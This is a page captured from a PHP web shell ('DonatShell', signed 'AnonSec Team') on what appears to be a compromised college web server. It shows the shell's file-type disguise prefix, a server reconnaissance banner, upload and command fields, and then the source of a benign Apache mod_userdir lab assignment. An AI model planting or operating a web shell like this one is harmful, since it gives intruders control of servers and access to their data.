GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab06/Lab06.phpinc
<?
// JimMartinson/CST1611/Labs/Lab06.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$dataFolder = '/var/www/html';
$apacheFolder = $dataFolder;
$dirSep = '/';

$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? }

$ShowSpanCountBefore = false;
//$ShowSpanCountBefore = true;
// <span class="count">
?>
<a id="Lab"></a>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
The purpose of this lab is to demonstrate the ability to use directives from the <tt>mod_userdir</tt> module and setup access to web pages for users.
<br><?=$gradeNote?>
<ol id="main" class="count">
	<? // 1. ?>
	<li class="count">Configure Apache to allow for user web pages.
		<ol>
			<li class="count">
				Apache must be configured to display pages from a <b>public_html</b> directory in the the user's <q>default documents</q> directory.
				<br><span class="attention">Step by step instructions on how to do this are not available here.</span>
				<br>You will need to do a little research to figure out how. You can also look at the example in the /etc/apache2/mods-available/userdir.conf file.
				<br>Note:
				<ol>
					<li>The <tt>UserDir</tt> directive is relative the the user's base directory.</li>
					<li>The <code>Directory</code> directive must have the <span class="attention">true</span> drive path, not any faked-up directory path such as <q>My Documents</q>.</li>
					<li>For security reasons make sure the Directory contains <code>AllowOverride</code> and <code>Options</code> directives that do not allow <samp>FollowSymlinks</samp></li>
				</ol>
			</li>
		</ol>
	</li>
	<? // 2. ?>
	<li class="count">Setup a public_html directory for your user.
		<ol>
			<li class="count">Create a <b>public_html</b> directory inside of your <q>default documents</q> directory.</li>
			<li class="count">Download <b><a href="<?=$evaluationName?>-student.php">index.html</a></b> and save it in your user's <b>public_html</b> directory.</li>
			<li class="count">Verify that your user web page works.
				<ol>
					<li class="count">Stop and restart Apache.</li>
					<li class="count">Open up a browser.</li>
					<li class="count">Enter <b>http://localhost/~<samp>username</samp></b> in the address bar. <span class="note">Replace <samp>username</samp> with the OS username you are logged in as.</span> You should see a page similar to:<br>
						<? require('common/Browser/Browser.phpinc'); BrowserBegin($courseNumber.' '.$evaluationName,'http://localhost/~username/',600); ?>
						<h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?></h1>
						<p>
						Take a screenshot of this page.
						<br>
						Save the image as <b class=""><?=$saveFilename?>_first.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. 
						<br>
						Make sure that the address bar is visible in your screenshot before saving the image.
						</p>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
			<li class="count"><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_first.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.
				<br><span class="note"><span class="strike"><?=$courseNumber?>-<?=$evaluationName?>-<span class="count">2-4</span>-<?=$userFileName?>.png</span> file name changed on 3/3/2021.</span>
			</li>
		</ol>
	</li>
	<? // 3. ?>
	<li class="count">Setup a public_html directory for another user.
		<br>If your computer already has another user account you may use that, otherwise create a new user. <span class="note normal">If you needed to create a new user you must login once as that user so that default directories are created for the new user.</span>
		<br>Then:
		<ol>
			<li class="count">Create a <b>public_html</b> directory inside of that user's <q>default documents</q> directory.</li>
			<li class="count">Download <b><a href="<?=$evaluationName?>-user.php">index.html</a></b> and save it in that user's <b>public_html</b> directory.</li>
			<li class="count">Verify that the other user web page works.
				<ol>
					<li class="count">Open up a browser.</li>
					<li class="count">Enter <b>http://localhost/~<samp>anotheruser</samp></b> in the address bar. <span class="note">Replace <samp>anotheruser</samp> with the other OS username.</span></li>
					<li class="count">You should see a page similar to:
						<? BrowserBegin($courseNumber.' '.$evaluationName,'http://localhost/~anotheruser/user.html',600); ?>
						<h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> Another user</h1>
						<p>
						Take a screenshot of this page.
						<br>
						Save the image as <b class=""><?=$saveFilename?>_second.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
						<br>
						Make sure that the address bar is visible in your screenshot before saving the image.
						</p>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
			<li class="count"><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_second.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.
				<br><span class="note"><span class="strike"><?=$courseNumber?>-<?=$evaluationName?>-<span class="count">3-4</span>-<?=$userFileName?>.png</span> file name changed on 3/3/2021.</span>
			</li>
		</ol>
	</li>
	<? // 4. ?>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>hosts</b> and <b>userdir.conf</b> file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.
		</ol>
  </li>
 </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
<!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> -->
<?=$gradeNote?>
</fieldset>

<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
require('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team